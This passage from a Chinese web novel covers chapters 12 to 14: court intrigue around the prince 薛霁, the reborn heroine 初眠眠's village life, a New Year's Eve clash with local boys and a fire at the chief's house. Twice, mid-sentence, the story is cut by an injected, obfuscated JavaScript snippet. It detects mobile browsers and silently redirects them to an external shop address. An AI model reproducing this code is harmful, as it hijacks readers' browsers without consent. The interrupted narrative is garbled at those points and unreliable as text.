初暒和苟旦眉头同时皱了起来,史陆香像是察觉到他们不高兴一般,忙说,“天色不早了,大年和嫣红妹子该忧心他们这俩宝贝疙瘩了,旦儿,快穿上外衣送送你眠眠妹妹和明哥。” 苟旦嘟嘟囔囔起身穿衣,“什么妹妹,我就比她大两天……” 与村长夫妇告辞后,初暒在回家的路上一直在想,重新活过来这些天里,她满脑子都在思考怎样为自己及那五千兵士洗刷冤屈,如何要慕家父子血债血偿,可是这段时间,她生活在宁静的泊桥村里几乎与外界失去了联系,若不是今日从苟看财口中知晓朝廷当下动作,她竟不知昔日仇敌北漠近日要来晁都和亲一事。 朝中之事,瞬息万变,任何风吹草动都事关数以万计百姓的生死命运,若是消息闭塞,便无法从中做出抉择,她不能再如闺阁女子一般窝在父母兄长身边了,得想个办法走出柏桥村! 12. 册籍 近来朝廷事多,下了早朝,领了差事的诸位大人又回各部聚在一起商讨议事,直到天色已暮才三三两两结伴出宫还家。 “吡啦!” 暖阁的门帘被宫人挑起,一位身着明黄衣袍的少年大步走进来后隐含着怒气道,“内阁近来越发没有忌惮了,竟将弹劾皇兄的奏疏送到了朕面前!” 坐在茶几前等候多时的男子用帕子捂着唇角轻咳了一声后,才用那修长且娇养至极的食指与中指夹住一颗白子,“火气这么大作甚,这不是常有的事吗。” “可您只是承袭幽王爵位,并无官职,他们何苦非要将眼睛盯在您身上?何况您这病本就不见好,若是再听得他们那些污蔑,身子怕是会雪上加霜呢。” 暖阁锦帘捂得严实,烧得正旺的炭火也不见一丝黑烟,一旁的老太监低头躬身挪步而来,翘着指头为小皇帝取杯斟茶。 薛霁看着白玉棋盘思忖着如何下子,语气毫不在意,“也不算污蔑。” 小皇帝抿了抿嘴,又道,“思朝暮里慕峰青被刺杀一事朕已知晓,朝中臣皆言此事蹊跷,需得将当事众人收监重审,可皇兄只杀了大堂管事就算给慕将军交代,那慕将军竟也默默认了?” “本王杀都杀了,他不认又能如何。” “朕听闻那日齐……”小皇帝话到嘴边却又拐了个弯,问,“那日慕峰青曾说是北漠探子报复,皇兄也这么认为?” 薛霁像是没有注意到他前半句似的,拂袖落子,道,“他因缺德被谁报复了,也是说不定的。” 小皇帝在棋篓里挑了黑子,纳闷,“谁报复他也没甚所谓,只是北漠要来和亲,朕以为梁相会命慕峰青去迎,可是今日刚一上朝慕维之就哭诉自己儿子被暗杀,受了重伤如今躺在床上翻身都难,梁相只得另选他人,朕想不明白,一个大将军,怎能当众被歹人刺杀,还伤成了这样呢。” “有些事光想是无用的。”薛霁回想起几天前,慕峰青被刺后还曾端端正正朝自己行过礼,怎的医治了几日,身子反倒越来越差了,他剑眉轻蹙,道,“北漠此行恐会生变,可派队兵马先行迎接。” “北漠半月前就将和亲消息传出,晁都百姓少数已经知晓,南夷也已虎视眈眈,但映月关一战实在震慑了南、北两地,朕谅他们近几年都不敢集结兵马踏进我中北疆域。” 薛霁看着这位还是一脸稚气但目光中已经有了皇帝威严的少年,起身,“还有一年你便可执政,在此期间万事稳妥为妙。” 见他要走,侍女低头抬眼恭敬地上前将大氅披在薛霁肩上,守在门边的太监也打帘将腰背躬得更深。 小皇帝起身颔首,“是,朕明日便与梁相商议迎接北漠使臣一事,外头寒凉,皇兄小心身子。” 前头那人嗯了一声,等出了屋子才用帕子挡着唇轻咳了几声。 过了片刻,送客回来的老太监刚打帘进来,就听见屋内贵人说,“李公公,差人给皇兄府上送些补品吧。” 他面露难色支支吾吾好一会儿才回,“回主子,户部如今在筹备北漠回礼,如今库里的东西都叫他们扣着谁也不叫动呐。” 小皇帝端起茶杯小缀一口,“谁都不叫动么?” “想来他们也是急的没法了,方才奴婢回来时,还听到宫人说户部右侍郎柳思无柳大人正预备拦住幽王商讨计策呢。” “他们何时如此交好了?” “应是一同为慕将军鸣过不平罢。” “找个时机,传慕峰青进宫。”小皇帝将茶杯搁置在案,而后轻声道,“安置吧。” “是。” 李善仁应声后将茶杯扶稳,指尖碰到杯身时才看到那盏上好的白玉裴翠龙纹帝王杯壁竟被人生生握出了一条裂痕。 已是傍晚时分,在宫门外等候多时的柳思无远远地看到一辆奢华马车款款驶来,他侧身颔首,在马车停在自己面前时才道,“户部右侍郎兼总督仓场侍郎柳思无见过幽王殿下。” 掌车的无恩对柳思无行礼后,轻轻撩开车窗帷幔,薛霁低沉、不见一丝喜怒的声音从中传了出来,“天寒路冻,柳大人议完事不尽早回府,候在此处做什么?” “回殿下,前几日下官见慕小将军身负重伤,又见您咳疾未愈,身子也不爽利,故托乡党带了些补气药草来,以此感念思朝暮那日殿下的护佑之情,药草虽不名贵可也是下官的心意,草草送上门恐旁人说三道四,因而今日待您进宫特意在此等候。” “柳大人客气了,薛某多谢柳大人好意。” 柳思无又客套了两句还不见有要告辞的意思,薛霁猜到他的来意便问,“柳大人向来康健,怎的今日瞧着体态疲倦,不甚有精神似的。” 柳思无叹了口气说,“前几年打仗军费将国库铲了个遍,如今又逢年关,百姓皆不愿交出春粮,北漠来晁之日渐近,可户部还未将回礼备好。” 薛霁不语,他只得硬着头皮继续开口,“尚书大人限我等日落之前想出对策,下官无能,恳请殿下指点迷津。” “本王一个病秧子能指点你什么迷津。” 柳思无双手抱拳,一脸恳切,“殿下稳重睿智又深受先帝器重,虽不曾入朝为官,但您仍是百姓之贵人,大兴之依仗。” “柳大人有话直说……咳咳……莫要将这顶高帽按在薛某脑袋上……” 傍晚起了风,凉意扫过车窗帷幔钻进柳思无领口,激的他抖着肩膀打了个寒颤,他将头插得更低,道,“如今大兴国库空虚,财政拮据,百姓日子也过得艰难,下官虽才疏学浅,可迫于形势不得不献上捐输资国一策,但……唯恐人微言轻事难行,久闻殿下心慈,乐善好施,故而斗胆前来,为百姓讨个福祉。” 车厢内良久都没有声音传出,柳思无大着胆子仰头去看。 宫门外的灯火悠悠亮起,火光映在了薛霁光洁白皙的下颌,他只一个抬眼,便叫人心神骤乱。 四目相对之时,柳思无重又慌忙颔首,薛霁终于开口,“本王当什么难事愁的柳大人身形渐瘦,不过身外之物,你想要,本王便给,全当回了柳大人草药之礼。” 闻言,柳思无喜不自胜,他撩袍抱拳屈膝叩拜,“殿下心系百姓、博施济众,下官在此叩谢幽王殿下!愿殿下心之所愿,皆可实现。” 薛霁冷嘲,“你知道本王所愿是何?就敢祝其皆可实现?” 无恩将车窗帷幔放下,跳上车辇,薛霁又道,“同为大兴子民,本王担不起你这声谢,天色不早,柳大人自便罢。” 他说完,无恩便立刻甩了缰绳,驶着马车缓缓离去。 见他们走远,从方才起一直静观此处的男子从阴影里走出来,将柳思无扶起,问,“你晌午说的法子便是在此处俯身叩首?” 柳思无看着那架渐行渐远的富贵马车目光似乎是在回应着什么,她拍了拍身上的虚土,笑道,“事情若能办妥,俯身叩首亦有何不可。” “可我见你平日并无与幽王有何来往,你怎会将捐输资国一策拜托于他?况你我一早便知此人阴翳,摸不着底细,若与他混在一起,自己的官声也恐难清白。” “梦来,你我既然入朝为官,便免不了阿谀奉承、工于心计,身处晁都境地任谁也难置身事外,清白与否在己不在人,征粮一事若能自幽王起顺利进行,那怕叫天下人戳着脊梁骨骂,我也在所不辞。” 铁铭被柳思无的满腔热血感动的难以言表,可回过神来又觉得不对劲,“若能得幽王以身作则,各级官员、权贵哪怕碍于人情也得从自己腰包里掏出一些银两,有了钱,便可用钱换粮,百姓也可少些损失,这是好事,怎会叫人戳了脊梁骨呢?” 柳思无叹了口气,转身回户部夜直,铁铭跟上去时隐隐听他念叨了句,“楚客莫言山势险,世人心更险于山……”① 铁铭:“哎哎,行知兄,你有话直说成不成,每回都是这样说些叫我摸不着头脑的话作甚……” 转过街角,无恩终于忍不住牢骚,“真真是的,我说那位大人怎的如此好心,还知晓与您赠些草药,谁知也是个缺钱才想起咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888061|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人!主子,您真要为他说的什么捐输资国而掏银子啊?” 薛霁抬手撩起车窗帷幔一角,他看着夜里还在为生计奔波的平民百姓,道,“也不全是为他。” 无恩知趣,扬着缰绳转过一处街巷,将到地方时才出言提醒,“主子,高寒带了信儿回来,此刻已在念弥陀候着了。” 夜色弥漫,黑云压在晁都城顶上徐徐飘散。 念弥陀从外头看与寻常院落并无二致,可刚一进门,穿堂而过的阴风便贴着人的脖颈一直寒进脊梁骨里。 见主子进来,隐匿在各暗处的黑衣人纷纷显露出来半跪行礼,人数之多、分布之广恐叫宫内侍卫也自觉汗颜。 无恩跟着薛霁目不斜视的来到了一处暗室。 这里虽说阴暗,但还算干净,室内里面正中央一位苍白虚弱的男子被捆绑着坐在木凳上,他听到有门锁开启的声音,努力地挣扎着想看看来人是谁却始终抬不起耷拉着的脑袋。 开锁的黑衣男子将门打开后退到了一旁,“主子,此人刚强的很,许多天了,仍是不肯开口。” 男子低着头,只有微微起伏的胸膛告诉来人,他还有呼吸,他还活着。 “李彦才以为你死了,受刑伤愈后仍因为愧疚一连好几日不曾下床。”薛霁看着他,轻声说,“这些是李管事为你准备的祭品。” 无恩将一包干粮放在地上,那男子总算睁开了自己的眼皮。 薛霁:“你本可以在同乡的关照下于思朝暮过上安稳日子,可只因被那位少年诓骗,害得慕小将军身受重伤,同乡因你受刑,而你自己……也沦落至此,范思,你为了一个歹人闭口不言,对得起同北漠奋力征战多年却遭人刺杀受伤的慕将军吗?” “时运不济而已,怨不得谁。”范思看着脚下的干粮坨坨忽然笑了,他昂起头看着薛霁,“要说的话,我已于思朝暮见您那日全数交代了。” 他这句时运不济不知是说他自己还是旁的什么人,可薛霁却像是心中了然一般,“我知你没有看清那少年相貌,但曾与他有过交谈,其声音你可还记得?” 范思顿了一下,道,“记得。” “无恩,将他松绑。” 薛霁说完便不再看他,只沉声问方才开完门后一直垂首立在一旁的黑衣人,“你查到什么了?” “属下无能,追查时被那小子摆了一道,叫他们跑了,不过……”高寒不敢卖关子,继续道,“那少年似乎凑巧碰上杀手灭口,可不知为何他有心要救被追杀之人,属下将被追杀之人相貌摹出,查到那人便是前军狱院狱官伍千裘。” 无恩问,“前军狱院狱官?军狱院多大的油水啊,怎么说不干就不干了?” 高寒:“我也觉得奇怪,于是向潜在军狱院的兄弟打听,他们说自半月前起伍千裘就开始不对劲了,每日不是告假就是早退,行踪不定的,没过多长久他便辞了差事再不见人影了。” “半月前?”无恩嘀嘀咕咕,“那不是斩首叛贼慕初之日么……” 薛霁侧着身子偏头看向高寒,“可知何人要取他性命?” “杀手是死士,被属下擒住瞬间他便自尽而亡。” 主子交代办事没办成,问出的话又一问三不知,高寒低着头,面上如水平静可心中却如浪水滔天,他顿了好一会儿才又说,“属下…属下查到一件小事,不知当不当报。” 薛霁仍然不见喜怒,“说。” “属下查过那少年进晁都之日的出入城册籍,发现有一人只有出城记录,而无入城记录。” 无恩闻言,眼睛一亮,高寒见他神色有异,立刻将提前撰抄的出入城册籍掏出,捧在主子胸前,道,“这便是撰抄的晁都城出入城记录册籍,主子请过目。” 薛霁接过册籍,翻开看到内里一页有三个被朱笔圈中的大字—— “初眠眠。” “回主子,是这个名字,可属下查到,此人乃是晁都城西南方向十二里外柏桥村人士,年岁一十有五,却……是个女子。” 13. 除夕 除夕前夜,苟看财才求爷告奶的凑够要上交的粮食。 清点完收回来的最后一批粮,他锁上自家厢房的木板门,拢了拢肩膀快要滑落的外衣才提灯小跑回房。 “小官保住了,今夜总算能睡个安稳觉喽。” 史陆香跪在榻上铺床,她偏头看了眼正蹲在地上敲烟管的男人,叮嘱,“冬日天干,当心你那烟管子冒的火星飞出去将粮食点了。” “呸呸呸,成天竟说些不吉利的话。”苟看财皱眉说,“各屋房门都关得好好的,哪有火星子……” 他话音未落,就听院里忽然有房门被人踹开的声音。 “哈哈哈哈……” “大哥你别闹,很晚了,我要睡了!” “不行,哥要睡小屋,哥保护眠眠,也要保护你呢……” “哥真不用……” 苟看财推开窗抻着脖子吼了句,“死小子们,折腾什么呢,还不快睡!” 苟旦:“大哥半夜不睡觉,非要同我换房!” 苟看财:“他想睡哪儿就睡哪儿啊,你管那么多作甚,再说东房不是比西放大么,你有什么不乐意的!” “我的书都在西房呢,我怕他给我烧了!” “你个书呆子,烧了爹再给你买!”苟看财麻麻咧咧的关了窗,临了像是忽然想起什么似的,又折返回去大喊,“烧个屁!你哥敢烧书老子打死他!苟旦快去给你房里的炭盆端出来,粮食都在西南面小厢房呢!” “没有炭盆,我哥晚上会冷呢。” “冻死算了!” 苟旦想了想还是将自己房里的炭盆端走了,可是过了一会儿,他又抱着不知从哪里翻出来的两床厚棉去了西房。 “娘的,没一个省心的!” 苟看财没了抽烟的兴致,只得干巴巴的坐在椅子上用媳妇给他准备的热水泡脚,正在走神时,他突然问起,“这几天忙着筹粮,都没顾上问你,苟圣和初家闺女那事怎的黄了?” 史陆香将相亲那日之事一五一十的告诉他,末了又说,“我故意将初家兄妹晾在大堂供村人编排,若他们真如相姑婆所说是户老实、好拿捏的人家,那我还看不上呢。” 苟看财不明白,“女方家的好拿捏,那不是正好么?” 史陆香一声嗤笑后,解释道,“村里人惯会捧高踩低,等将来你我老了,苟圣、苟旦又都是不愿争抢的性子,媳妇家的再靠不住,那岂不是人人都能将我们踩上一脚了,我们苟家选媳妇,非得性子烈、有手段,能立得住门户不可!” “初家闺女是你说的这般性子?”苟看财回想起初暒那副柔柔弱弱地模样,“看着不像啊。” “你懂什么,我前几日专程去看望成家媳妇了……”像是生怕他想不起来,史陆香提醒说,“就是那个被眠眠掐了脖子的婆娘,好家伙,都好几天了,她脖子上的掐痕还没消完呢,这些天我也四处打听了,村里人如今路上遇见初家人,别说闲话,正眼都不敢看人家呢。” “那丫头下手竟如此狠毒?” “不狠治不住村里那群长舌妇啊,初家这丫头我喜欢,嫁给苟圣确实委屈她了,不过咱还有苟旦啊,他们年纪合适,苟旦么我瞧他似乎也有那个意思……” 苟看财擦干双脚,泼了水回屋就径直钻进被窝,“家宅里这些事你看着办吧,别叫村里人说闲话就成。” “我还活着呢!谁敢说我家闲话,老娘活劈了他……” 呼! 屋内的灯熄灭了。 月亮西升东落,第一缕曙光出现时,人们终于走到了一年的尽头。 女儿重伤苏醒后,初大年的心就不在陈富户家了,每天不论做工到多晚,他都会带着自己晌午攒下的吃食回家给媳妇和两个孩子吃。 余嫣红总吓唬他,“晚了就甭回来了,路上黑,要是掉沟里喊破喉咙也没人搭救你。” “掉沟里我就在沟里等天亮。”初大年总是乐呵呵的,“等有人路过再喊呗。” 初家虽说不富裕,前段时间又给村里交了粮,可这夫妇俩连同儿子都是本本分分的勤快人,一年省吃俭用的怎么也能在除夕夜凑出一顿像样的年夜饭来。 初暒将屋里擦干抹净后正准备洒扫院子,可刚一摸着扫帚,就被初明拦了下来。 “眠眠,你身子才好怎能做这些粗活儿,你自己玩去,饭做好了哥再叫你。” 不让洒扫,初暒待着无聊,于是搬了小板凳坐在院里边晒太阳边看他们干活。 在这幅身子里醒过来后,她只匪夷了片刻,而后就像是天生便在这里头存活着一般行动自如,初暒以前确实身弱,可经过这段时日的仔细将养,她觉得自己的筋骨腿脚竟比前世还要灵敏些,就像那日在苟看财家扼住那妇人脖颈时,顺手的叫她惊讶。 但是…… 她抬起手臂看着自己纤细的手腕觉得,这身体与男子比起来还是太弱了。 一阵轻风在此时吹来,头顶一片翻着青灰色的云朵匆匆飘过,太阳光将整片中北大地短暂的分了个深浅,初暒抬头望去,喃喃,“要刮北风了啊。” 北方人家除夕大多只准备荤素两种馅料的饺子,但余嫣红见女儿痊愈后胃口大开,于是恨不能将自己所有会做的菜式通通做出来叫她尝。 若不是初明拦着,这顿年夜饭恐怕到深夜也吃不上了。 村里最近嚼他们舌根子的人少了许多,初家人心中都很痛快,初暒告诉家里人,“旁人辱我,第一次不与他争论,那算我脾气好,可第二、三次还忍气吞声便就是自己活该了,谁人敢辱骂你们,只管找上门去骂去打,次数多了,他们才知我们不好惹,开口与我们说话时,才会斟酌掂量,好名声不是忍让出来的,是谁欺负我我便能欺负过谁,是我能欺负了别人却偏偏还要与别人讲理的。” 初家三人皆似小鸡啄米般点头,叽叽喳喳开始讲述说,近来确实觉得村里人都对他们客气了些。 他们吃的热闹,外头忽的开始‘噼里啪啦’,初明连忙起身去看,初大年说,“今日除夕,村里的孩子估计忍不住开始放炮仗了,明哥,吃过饭你也带眠眠出去玩吧。” 初明:“咱家没有买炮仗呢。” 初大年一拍脑袋说,“我给忘了,陈富户今年不知要积什么德,竟给我们做长工的一人分了点炮仗,我今日回来带的东西多,竟将这事给忘了,去去去,就在伙房门后面的蒲团后面,你去寻寻。” 余嫣红脸色一变,拍了丈夫一掌,“哎呦天煞的,你将炮仗搁在哪里也不怕被炉火星子点着炸了屋子!” “这不是忙忘了么,你个傻小子不去找炮仗,站那儿傻乐什么!” 初明见爹娘又在打闹,嘿嘿一笑后才跑去伙房。 初暒看着他们,想起了娘和慕家那个老东西。 她的母亲何氏是慕府的三姨娘,因着家中遭了灾,为埋葬祖父母,母亲将自己卖给了慕维之的大夫人邹氏。 邹氏见母亲生的貌美,又性子清冷不爱作怪,于是便想着用她去分趁着自己怀有身孕成天作妖的二姨娘的宠。 母亲虽然身弱,但性子实在倔强,她看透慕维之的面目后实在不愿与他虚与委蛇,慕维之在官场点头哈腰,也不想回家再贴着她的冷脸,对不肯逢迎自己的女人一番羞辱之后,便像是忘了有这个人似的再也没有踏进过她的院子,直到自己出生,慕维之才大发慈悲的过来看了一眼,可是这一眼过后,他便冷哼一声拂袖而去。 只因这个女人,生了个女儿。 直到她长大,终于明白自己和母亲很像是两只不讨主子欢心却仍被豢养起来的野猫。 不被喜爱,还失去了自由。 重新活过来之后,她才知道女儿竟然能与兄长一样和父母亲同桌吃饭,才明白女儿都需要娇养着,才明白夫妇之间,还能这般嬉笑打闹。 初暒看着父母,心中又觉得,夫妇,就该是这样的。 她还在出神,初明从外面回来拉起她就往外跑,“眠眠,走哥带你放炮仗去。” 初大年见闺女没穿披风就被儿子拉走,夹菜的筷子都没来得及放下就起身追喊,“明哥,你且等等,叫眠眠将披风挂上啊……” 初明嘻嘻哈哈的声音远远传来,“放炮竹有火星子,热着呐!” “嘿!”他们出了院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888062|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,初大年想追也追不上了,只得向妻子抱怨,“瞧你养的混小子。” 于嫣红笑笑,“小孩子们疯起来就不知道了冷啦,我瞧眠眠近几日身子好着呢,你别瞎操心。” 她在笑着,可初大年还是从那双明眸中看出了些许担忧,他问,“眠眠身子已经大好,我瞧你怎的还是有心事呢。” “唉……还没开春,前几日又交了粮,家中撇开明哥做点心的面粉,剩下的粮食还不知道能不能吃几天呢。” 初大年想了想,道,“过了初一我就去陈富户家上工,这样家里就少一张嘴吃饭,你们娘仨怎么也能吃到正月十五了。” “别人家都想趁着过年多歇几天,你着急忙慌去赶工倒显得我薄待你似的。”于嫣红笑说,“眠眠身子大好,咱们一家人再团团圆圆待几日吧,我想了想还是打算将一半的粮食碾了交给明哥叫他做糕点去,他手艺好,背到城里去卖,得来的钱再买些粗粮,怎么也能吃到你上工那天。” 初大年点头,“行,你说了算,倒时我在家还能给他打打下手。” 心中一件大事得以解决,于嫣红眼睛里又有了笑,“哎呀,你平平安安,家里孩子也健健康康,这日子真是越来越有盼头了。” “喏。”初大年递给妻子一盏兑了清水的白酒,感谢说,“我没本事,家里杂事都叫你费心,嫁给我真苦了你。” 于嫣红接过酒杯一饮而尽,抹了抹嘴又捂着揣在胸口的荷包笑道,“你什么都给了我,嫁你我赚得很呐!” 烟花忽然绽放在院外天空,初大年握住妻子的手不语,但眼中的笑意顺着嘴角一直流进了心里。 炮仗被火星燎过尾巴之后又被人远远抛开,发出‘砰啪’的震耳声响后,只剩下冒着灰烟的纸皮。 初明见它没声了,便松了捂着妹妹耳朵的手,预备再放一个。 初暒问他,“能叫我放一个吗?” 初明有些诧异,“你原先不敢放炮仗的。” “我现在敢了。” 初暒接过兄长递来的炮仗,按照他方才的点火流程,远远扔了炮仗后,兀自捂住了自己的耳朵。 清脆的砰啪声即使捂着耳朵也能听得清楚,初明像是找着了志同道合的玩伴,将布袋里的炮仗全部塞给了妹妹,笑说,“以前你身子不好,没人跟我玩,我过年只能自己偷偷看村里孩子们放炮竹,现在可好了,哥也有伴儿了!” 初暒看着他,心里忽然有了损招,她将一个炮仗点着扔到兄长脚下后转身就跑,初明还在那里乐呵,低头猛地看见脚下的火星,吓得撒腿就跑。 砰的一声,炮仗声和初明的喊叫声同时响起,初暒看着兄长的窘态终于笑了出来。 炮仗是给小孩子玩的,响声大威力小,伤不着人,可初暒的笑容却好似比炮仗的声音还要大,竟叫初明看得怔住了。 妹妹在吓唬他,于是他像个孩子一样被吓得乱喊乱跑,好多年了,他还是第一次像现在这样如同孩童一般和妹妹玩闹在一起。 初暒使坏后一直在躲兄长,她看见初明先是一愣而后便举着炮仗跑来似乎也想吓唬她,他们兄妹便借着不远处的烟花火光在柏桥村一处平地上追逐打闹。 成非放完最后一枚烟花后有些意犹未尽,他靠在墙边问同伴们,“不知道谁在空地那边玩闹呢,你们听见没?” 苟旦仔细辨听了一会儿,点了点头,“好像有个姑娘,不过这大半夜的怎么会有姑娘在外头玩。” 有人撺掇说,“反正炮仗也放完了,咱过去瞧瞧呗。” 苟旦检查着地上的炮仗纸壳,“我不去了,我看看地上还有没炸完的炮仗没,别没灭生出火来……” “哎呀,走吧,这乌漆嘛黑的哪有一点火星子。”成非一把搂住苟旦的脖子,和伙伴们一起将他架往空地。 男孩们推搡着边跑边闹,很快就到了目的地,成非眼神不错,隔着老远就看到那个正在和兄长争抢炮仗的丫头是初家的闺女眠眠。 他起哄似的用胳膊肘戳了戳苟旦,调笑道,“呦苟旦,那不是你嫂子么,不说是个病秧子嘛,我瞧着和他哥抢炮仗时还挺有劲儿的……” 14. 走水 一大群人乌泱泱的走来,初明下意识将妹妹护在了身后,初暒在后面歪头看着他们,恍惚觉得自己好像又回到了小时候和别村小孩相约着打群架的时光。 有孩子仗着人多,朝初暒他们喊道,“这大半夜的你们在这里笑什么?” 初明说:“你放烟花时不笑还哭么。” 哥哥怼人功力见长,初暒很欣慰。 成非看着躲在兄长身后的初暒,问,“就是你那日掐我母亲脖子吧。” 有人问她,初暒从初明身后走出来,点头问,“是呢,你是成家媳妇的儿子?” 她说的云淡风轻,好像他们只是多年未见的友人,成非觉得自己莫名生出一肚子火来,他忍着怒意道,“我母亲遭你伤了,那痕子好几日都不见褪去,你们倒好,在这里都快将天笑塌了!” “不都说了我是无意的么,你们一家怎的还是得理不饶人,你若是不服,便到村长家去喊屈,叫村长为你评理。”初暒看到苟旦也挤在人群里,便朝他挥了挥手,“呀那不是苟旦哥么,他那日就在当场,是谁的过错,他全然知晓,你不能只听母亲浑说,平白冤枉了我。” 苟圣只是来看热闹的,不想惹事,故而没有不吭声。 成非只听过母亲在家中抱怨初家、咒骂初眠眠,但当日发生过什么却实在不知情,他问过苟旦,但是苟旦嘴严,只说大人之间的事小孩不要过问,他还当苟旦也不知发生何事,今日才知晓,他娘被小辈掐了,他居然从头都知道! “好啊苟旦,初眠眠还没过你家门呢,你们就这么护着了!你们两家合起伙来欺负我娘,亏我还把你当成我的好兄弟!” 苟旦想要解释,又不知怎么开口,只得拽着大吼的成非说,“不是,我不知道……” 成非方才见着初暒本就想出言羞辱她,此时头脑一热,咒骂道,“你个烂赃玩意,小小年纪就上赶着嫁给苟圣那个傻子,真是随了你娘,嫁个傻子将来好偷汉子呗……” “啪!” 初暒两步走过去打了他一巴掌,成非捂着脸惊诧极了,他连说了好几个你之后也没有说出一句完整的句子。 “你什么你,你娘平日在家中就是这么教你的?嘴这么脏也别怪别人打你。” 成非气急,挥着拳头就冲向初暒,可刚没两步被苟旦拦腰挡住了。 苟圣一边抱着成非,一边抻着脖子对初暒说,“你这丫头跟谁学来的毛病怎的见人就打啊,如此混子行径哪有一点姑娘家的模样……” 他话还未说完,余光倒看见初暒低头在地上寻找什么,仔细看去,竟瞅见她弯腰捡了块大石头向他俩走来。 坏了。 苟旦原先拦着成非不叫他动手,此时却挡在成非身前不让初暒靠近他。 成非被一个姑娘打了,还在愤怒与羞耻当中,他骂骂咧咧扯开挡在他身前的苟旦,借着月光看到了面前这个似乎想要用手中石头锤自己脑袋的初暒,默默吞了下口水。 领头的被一个姑娘家打了,其他孩子互相瞪着眼睛想上前为成非出气,可当他们看见这幅场景又都不敢迈出一步了。 苟旦心想自己老爹是村长,怎么着也能在这关头说上两句话,于是开口道,“大过年的,咱们大家又都是一个村子里长大的,诸位都平复下各退一步。” “合着被掐的不是你娘,被打的不是你呗!”成非仰着被打的通红脸蛋,吼叫,“初家丫头,你给我等着,今后你们兄妹俩我见一次打一次!” 他说完转身就走,初暒看着他的背影呵道,“成非,你站住。” 成非以前没跟初暒玩耍过,只近日在母亲和村里人口中知晓她是个不好惹的,今日看她拎着大石头冷冷看着自己时,心里多少还是有些发憷。 可害怕也不能再丢一次面子吧,他转过身,问,“你想干啥!” 初暒看着他,又扫视了一圈围着他们的孩子,今日除夕,村里几乎所有的孩童都在这里了。 “我知道你们家中父母长辈都私下议论过我初家,成家这小子方才不过是将那些龌龊话当众说出来而已,嘴长在你们身上我管不了,但是手长在我身上,这些话下次再叫我从谁的嘴里听见……”初暒逐一看过他们每一双眼睛,冷声,“我听见一次打一次。” 她说完,将手中的石头丢在众人面前,石块碰撞在地上发出‘砰’的响声,叫柏桥村的这些孩子们在冬日的深夜里打了一个激灵。 “哥,咱们回家。” 初暒和兄长穿过人群,缓步归家,成非白了一眼只知道当和事佬的苟旦一眼又冷哼一声才灰溜溜回家,苟旦自觉尴尬,推搡着剩余伙伴道,“太晚了,都赶紧回吧。” 此起彼伏的关阖柴门声响过之后,苟旦才朝自己家方向回去。 夜深人静时,他才终于得空想起眠眠。 那日听说她在城中被马踏伤昏迷后,他曾去初家看望过她,听那道士说眠眠无碍后才得以放下心来,可也不知为何,自从相亲那日过后,这丫头就像变了个人似的,一遇着不顺心的事就要与人动手,一双杏眸冷起来时叫人看着还真是有些怵得慌。 ‘砰’的一声巨响,吓得他胸膛里一阵乱跳,“谁家疯了这会儿还在放炮仗!” 拐过弯,苟旦瞥眼瞧见初家屋子的灯已经灭了,路过此处后他加紧了脚步,迎着骤然刮起来的北风,低头跑回了家。 木板门‘吱呀’两声,除夕夜,终于安静了下来。 初暒夜里睡得很轻,一些细微响动都能叫她瞬间清醒起来。 纸窗外头的呼啸声愈来愈近,直到风开始将窗棂木架晃动的好似快要掉落下来时,她起身披了外衣将窗棂固定住免得扰了家人清梦,可刚走近窗边忽的嗅到了一股浓郁的烧焦气味。 将窗棂架起,初暒探头往外望去,原本的漆黑夜色此刻光亮如白日,一片冲天火光正在北风中张狂肆意,她估摸着起火距离和方向后回忆起,那里似乎是村长苟看财家。 初暒敏捷地将鞋与外衣穿好,拍醒睡在外屋的初明喊了句‘快起来,苟家走水了’后,就往外头跑。 初明被人从暖和的被窝里喊醒,一睁眼只迷迷糊糊地看到初暒的瘦弱背影,“眠眠?眠眠!” 他来不及多想,猛地起身捞起衣服就跟着妹妹出去。 初明在院里看见火光后瞬间清醒,他一边跟着初暒跑一边大喊“走水了!” 四下邻居的屋子里陆陆续续的亮起了灯,初大年和妻子听到儿子的喊声从屋里出来借着冷风清醒了片刻后,拎起靠在伙房墙角的水桶就往火光四散的方向赶去。 初暒站在苟家门外观察火势,初明紧跟着她过来,慌张道,“已经有人去喊‘火师’了,眠眠你别上前去,这火太大了,咱们进不去的!” 初暒没有应他,只围着苟家徘徊。 火是从大门烧起来,今夜又刮的是北风,初暒想起上次来被村长夫人邀进后院吃饭时她看到村里帮忙的人都是从西南面的厢房里搬出粮食的,于是问初明,“村里人交了粮,苟看财都收到哪里去了?” “村长将这次征粮挺当回事的,我跟爹去交粮的时候听说今日就能收齐,等过了初四就运到县里去……”初明回忆了片刻看向苟家西南面方向,倏地脸色一变,“糟了,全村的粮食就他这院里呢!” “救命啊!救命……” 初暒:“先救人!” 火海中传来呼救的声音,初暒从赶来救火的村民手里夺过一桶水浇在自己身上后,跑向刚才找到的一处矮墙旁轻巧的翻身进去。 初明虽然慌张但身手也十分利索,他见阻拦不住妹妹便也往自己身上浇了盆水跟着跳进去。 冬季干燥,苟家房屋又多是由榆木做大梁的,见了火星不烧完是灭不了的,初暒凭借记忆找到了主屋,踹开挡在屋门外的一根漆黑房梁后,拉出被烟熏的直咳嗽的史陆香又将在房梁底下摸索的苟看财拽出来。 